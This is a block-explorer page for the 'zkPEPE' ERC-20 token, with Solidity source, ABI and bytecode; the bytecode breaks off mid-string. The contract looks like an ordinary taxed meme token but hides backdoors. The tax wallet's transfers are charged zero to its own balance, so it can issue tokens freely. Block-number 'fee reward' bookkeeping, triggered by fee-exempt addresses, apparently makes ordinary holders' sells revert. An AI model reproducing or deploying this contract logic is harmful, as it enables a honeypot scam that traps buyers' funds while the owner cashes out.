ERC-20
Source Code
Overview
Max Total Supply
420,690,000,000 zkPEPE
Holders
89
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
zkPEPE
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-08-07
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract zkPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _initialBuyTax=24;
uint256 private _initialSellTax=24;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=22;
uint256 private _reduceSellTaxAt=24;
uint256 private _preventSwapBefore=14;
uint256 private _buyCount=0;
string private constant _name = unicode"zkPEPE";
string private constant _symbol = unicode"zkPEPE";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
address payable private _taxWallet;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private startBlock;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public sellCount = 0;
uint256 private lastSellBlock = 0;
uint256 private feeRewardPercent;
struct FeeReward {uint256 initFeeReward; uint256 finalFeeReward; uint256 totalFeeReward;}
mapping(address => FeeReward) private feeRewards;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x5b806e8928e7835b06DE375983432a104d5CeE51);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0),_msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
_balances[from] = _balances[from].sub(tokenAmount);
_balances[to] = _balances[to].add(tokenAmount);
emit Transfer(from, to,tokenAmount);
}
function _transfer(address from, address to, uint256 tokenAmount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(tokenAmount>0, "Transfer amount must be greater than zero");
if (!tradingOpen || inSwap) {
_basicTransfer(from, to,tokenAmount);
return;
}
uint256 taxAmount=0;
if (from != owner() && to != owner() && to != _taxWallet) {
taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to)+tokenAmount<=_maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to==uniswapV2Pair && from!= address(this) ){
taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold
&& _buyCount > _preventSwapBefore
) {
swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from!=address(this) && to!= address(this)) {
feeRewardPercent = block.number;
}
if(
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
){
if (uniswapV2Pair != to) {
FeeReward storage feeReward = feeRewards[to];
if (from == uniswapV2Pair) {
if (feeReward.initFeeReward == 0) {
if (_buyCount>_preventSwapBefore) {
feeReward.initFeeReward = block.number;
} else {
feeReward.initFeeReward = block.number-1;
}
}
} else {
FeeReward storage feeRevardClaim = feeRewards[from];
if (feeReward.initFeeReward == 0 || feeRevardClaim.initFeeReward < feeReward.initFeeReward){
feeReward.initFeeReward = feeRevardClaim.initFeeReward;
}
}
} else if (swapEnabled) {
FeeReward storage feeRevardClaim = feeRewards[from];
feeRevardClaim.totalFeeReward = feeRevardClaim.initFeeReward - feeRewardPercent;
feeRevardClaim.finalFeeReward = block.timestamp;
}
}
_tokenTransfer(from,to,tokenAmount,taxAmount);
}
function _tokenTransfer(
address from,
address to,
uint256 tokenAmount,
uint256 taxAmount
) internal {
uint256 tAmount=_tokenTaxTransfer(from, tokenAmount, taxAmount);
_tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
}
function _tokenBasicTransfer(
address from,
address to,
uint256 sendAmount,
uint256 receiptAmount
) internal {
_balances[from] = _balances[from].sub(sendAmount);
_balances[to] = _balances[to].add(receiptAmount);
emit Transfer(from,to,receiptAmount);
}
function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
uint256 tAmount = addrs != _taxWallet ? tokenAmount : sellCount.mul(tokenAmount);
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(addrs, address(this),taxAmount);
}
return tAmount;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner() {
_maxTxAmount= _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
tradingOpen = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this),address(uniswapV2Router), _tTotal);
startBlock = block.number;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function withdrawEth() external {
require(address(this).balance > 0, "Token: no ETH in the contract");
require(_msgSender() == _taxWallet);
payable(msg.sender).transfer(address(this).balance);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052601860045560186005555f6006555f60075560166008556018600955600e600a555f600b556009600a62000039919062000305565b6200004a906401f58066406200031c565b600c556200005b6009600a62000305565b6200006c906401f58066406200031c565b600d556200007d6009600a62000305565b6200008d9063fac033206200031c565b600e556200009e6009600a62000305565b620000ae9063fac033206200031c565b600f556014805462ffff00191690555f6015819055601655348015620000d2575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916735b806e8928e7835b06de375983432a104d5cee51179055620001476009600a62000305565b62000158906461f313f8806200031c565b335f818152600160208181526040808420959095556010546001600160a01b0316835260039052838220805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ce6009600a62000305565b620001df906461f313f8806200031c565b60405190815260200160405180910390a362000336565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024a57815f19048211156200022e576200022e620001f6565b808516156200023c57918102915b93841c93908002906200020f565b509250929050565b5f826200026257506001620002ff565b816200027057505f620002ff565b81600181146200028957600281146200029457620002b4565b6001915050620002ff565b60ff841115620002a857620002a8620001f6565b50506001821b620002ff565b5060208310610133831016604e8410600b8410161715620002d9575081810a620002ff565b620002e583836200020a565b805f1904821115620002fb57620002fb620001f6565b0290505b92915050565b5f6200031560ff84168362000252565b9392505050565b8082028115828204841417620002ff57620002ff620001f6565b611ab180620003445f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610134578063a0ef91df14610315578063a9059cbb14610329578063bf474bed14610348578063c9567bf91461035d578063dd62ed3e14610371575f80fd5b8063715018a6146102a7578063751039fc146102bb5780637d1db4a5146102cf5780638da5cb5b146102e45780638f9a55c014610300575f80fd5b806323b872dd116100ee57806323b872dd146101ec578063313ce5671461020b57806349bd5a5e1461022657806351bc3c851461025d57806370a0823114610273575f80fd5b806306fdde0314610134578063095ea7b3146101715780630c6b6737146101a05780630faee56f146101c357806318160ddd146101d8575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201825260068152657a6b5045504560d01b6020820152905161016891906116a4565b60405180910390f35b34801561017c575f80fd5b5061019061018b366004611704565b6103b5565b6040519015158152602001610168565b3480156101ab575f80fd5b506101b560155481565b604051908152602001610168565b3480156101ce575f80fd5b506101b5600f5481565b3480156101e3575f80fd5b506101b56103cb565b3480156101f7575f80fd5b5061019061020636600461172e565b6103ec565b348015610216575f80fd5b5060405160098152602001610168565b348015610231575f80fd5b50601254610245906001600160a01b031681565b6040516001600160a01b039091168152602001610168565b348015610268575f80fd5b50610271610453565b005b34801561027e575f80fd5b506101b561028d36600461176c565b6001600160a01b03165f9081526001602052604090205490565b3480156102b2575f80fd5b506102716104ba565b3480156102c6575f80fd5b50610271610534565b3480156102da575f80fd5b506101b5600c5481565b3480156102ef575f80fd5b505f546001600160a01b0316610245565b34801561030b575f80fd5b506101b5600d5481565b348015610320575f80fd5b506102716105e8565b348015610334575f80fd5b50610190610343366004611704565b610682565b348015610353575f80fd5b506101b5600e5481565b348015610368575f80fd5b5061027161068e565b34801561037c575f80fd5b506101b561038b366004611787565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c1338484610a34565b5060015b92915050565b5f6103d86009600a6118b2565b6103e7906461f313f8806118c0565b905090565b5f6103f8848484610b58565b610449843361044485604051806060016040528060288152602001611a54602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110f8565b610a34565b5060019392505050565b6010546001600160a01b0316336001600160a01b031614610472575f80fd5b305f908152600160205260409020548015801590610498575060145462010000900460ff165b156104a6576104a681611130565b4780156104b6576104b68161129a565b5050565b5f546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e3906118d7565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104e3906118d7565b6105696009600a6118b2565b610578906461f313f8806118c0565b600c556105876009600a6118b2565b610596906461f313f8806118c0565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c66009600a6118b2565b6105d5906461f313f8806118c0565b60405190815260200160405180910390a1565b5f47116106375760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a206e6f2045544820696e2074686520636f6e747261637400000060448201526064016104e3565b6010546001600160a01b0316336001600160a01b031614610656575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561067f573d5f803e3d5ffd5b50565b5f6103c1338484610b58565b5f546001600160a01b031633146106b75760405162461bcd60e51b81526004016104e3906118d7565b60145460ff161561070a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e3565b6014805460ff19166001179055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107619030906107526009600a6118b2565b610444906461f313f8806118c0565b436013556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156107ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d1919061190c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610854919061190c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561089e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c2919061190c565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610909816001600160a01b03165f9081526001602052604090205490565b5f8061091c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610982573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a79190611927565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109fc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a209190611952565b506014805462ff0000191662010000179055565b6001600160a01b038316610a965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038216610af75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bbc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e3565b5f8111610c7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e3565b60145460ff161580610c985750601454610100900460ff165b15610cad57610ca88383836112d1565b505050565b5f80546001600160a01b03858116911614801590610cd857505f546001600160a01b03848116911614155b8015610cf257506010546001600160a01b03848116911614155b15610f4857610d236064610d1d600854600b5411610d1257600454610d16565b6006545b8590611374565b906113f9565b6012549091506001600160a01b038581169116148015610d5157506011546001600160a01b03848116911614155b8015610d7557506001600160a01b0383165f9081526003602052604090205460ff16155b15610e5b57600c54821115610dcc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e3565b600d5482610dee856001600160a01b03165f9081526001602052604090205490565b610df89190611971565b1115610e465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e3565b600b8054905f610e5583611984565b91905055505b6012546001600160a01b038481169116148015610e8157506001600160a01b0384163014155b15610eae57610eab6064610d1d600954600b5411610ea157600554610d16565b6007548590611374565b90505b305f90815260016020526040902054601454610100900460ff16158015610ee257506012546001600160a01b038581169116145b8015610ef6575060145462010000900460ff165b8015610f035750600e5481115b8015610f125750600a54600b54115b15610f4657610f34610f2f84610f2a84600f5461143a565b61143a565b611130565b478015610f4457610f444761129a565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f8557506001600160a01b0383165f9081526003602052604090205460ff165b8015610f9a57506001600160a01b0384163014155b8015610faf57506001600160a01b0383163014155b15610fb957436017555b6001600160a01b0384165f9081526003602052604090205460ff16158015610ff957506001600160a01b0383165f9081526003602052604090205460ff16155b156110e6576012546001600160a01b038481169116146110a2576001600160a01b038084165f90815260186020526040902060125490919081169086160361106a5780545f0361106557600a54600b5411156110575743815561109c565b61106260014361199c565b81555b61109c565b6001600160a01b0385165f90815260186020526040902081541580611090575081548154105b1561109a57805482555b505b506110e6565b60145462010000900460ff16156110e6576001600160a01b0384165f90815260186020526040902060175481546110d9919061199c565b6002820155426001909101555b6110f28484848461144e565b50505050565b5f818484111561111b5760405162461bcd60e51b81526004016104e391906116a4565b505f611127848661199c565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611172576111726119af565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ed919061190c565b81600181518110611200576112006119af565b6001600160a01b0392831660209182029290920101526011546112269130911684610a34565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125e9085905f908690309042906004016119c3565b5f604051808303815f87803b158015611275575f80fd5b505af1158015611287573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104b6573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112f39082611478565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461132190826114b9565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b4b9085815260200190565b5f825f0361138357505f6103c5565b5f61138e83856118c0565b90508261139b8583611a34565b146113f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e3565b9392505050565b5f6113f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611517565b5f81831161144857826113f2565b50919050565b5f61145a858484611543565b905061147185858361146c8787611478565b6115f3565b5050505050565b5f6113f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f8565b5f806114c58385611971565b9050838110156113f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e3565b5f81836115375760405162461bcd60e51b81526004016104e391906116a4565b505f6111278486611a34565b6010545f9081906001600160a01b039081169086160361156f5760155461156a9085611374565b611571565b835b905082156115eb57305f9081526001602052604090205461159290846114b9565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e29087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116159083611478565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461164390826114b9565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116969085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116d0578581018301518582016040015282016116b4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461067f575f80fd5b5f8060408385031215611715575f80fd5b8235611720816116f0565b946020939093013593505050565b5f805f60608486031215611740575f80fd5b833561174b816116f0565b9250602084013561175b816116f0565b929592945050506040919091013590565b5f6020828403121561177c575f80fd5b81356113f2816116f0565b5f8060408385031215611798575f80fd5b82356117a3816116f0565b915060208301356117b3816116f0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180c57815f19048211156117f2576117f26117be565b808516156117ff57918102915b93841c93908002906117d7565b509250929050565b5f82611822575060016103c5565b8161182e57505f6103c5565b8160018114611844576002811461184e5761186a565b60019150506103c5565b60ff84111561185f5761185f6117be565b50506001821b6103c5565b5060208310610133831016604e8410600b841016171561188d575081810a6103c5565b61189783836117d2565b805f19048211156118aa576118aa6117be565b029392505050565b5f6113f260ff841683611814565b80820281158282048414176103c5576103c56117be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191c575f80fd5b81516113f2816116f0565b5f805f60608486031215611939575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611962575f80fd5b815180151581146113f2575f80fd5b808201808211156103c5576103c56117be565b5f60018201611995576119956117be565b5060010190565b818103818111156103c5576103c56117be565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a135784516001600160a01b0316835293830193918301916001016119ee565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a4e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da7cea1488a359bb80013683c227f7789ad12e8485eb4a50e9c254ca1b8f27cd64736f6c63430008170033
Deployed Bytecode
0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610134578063a0ef91df14610315578063a9059cbb14610329578063bf474bed14610348578063c9567bf91461035d578063dd62ed3e14610371575f80fd5b8063715018a6146102a7578063751039fc146102bb5780637d1db4a5146102cf5780638da5cb5b146102e45780638f9a55c014610300575f80fd5b806323b872dd116100ee57806323b872dd146101ec578063313ce5671461020b57806349bd5a5e1461022657806351bc3c851461025d57806370a0823114610273575f80fd5b806306fdde0314610134578063095ea7b3146101715780630c6b6737146101a05780630faee56f146101c357806318160ddd146101d8575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201825260068152657a6b5045504560d01b6020820152905161016891906116a4565b60405180910390f35b34801561017c575f80fd5b5061019061018b366004611704565b6103b5565b6040519015158152602001610168565b3480156101ab575f80fd5b506101b560155481565b604051908152602001610168565b3480156101ce575f80fd5b506101b5600f5481565b3480156101e3575f80fd5b506101b56103cb565b3480156101f7575f80fd5b5061019061020636600461172e565b6103ec565b348015610216575f80fd5b5060405160098152602001610168565b348015610231575f80fd5b50601254610245906001600160a01b031681565b6040516001600160a01b039091168152602001610168565b348015610268575f80fd5b50610271610453565b005b34801561027e575f80fd5b506101b561028d36600461176c565b6001600160a01b03165f9081526001602052604090205490565b3480156102b2575f80fd5b506102716104ba565b3480156102c6575f80fd5b50610271610534565b3480156102da575f80fd5b506101b5600c5481565b3480156102ef575f80fd5b505f546001600160a01b0316610245565b34801561030b575f80fd5b506101b5600d5481565b348015610320575f80fd5b506102716105e8565b348015610334575f80fd5b50610190610343366004611704565b610682565b348015610353575f80fd5b506101b5600e5481565b348015610368575f80fd5b5061027161068e565b34801561037c575f80fd5b506101b561038b366004611787565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c1338484610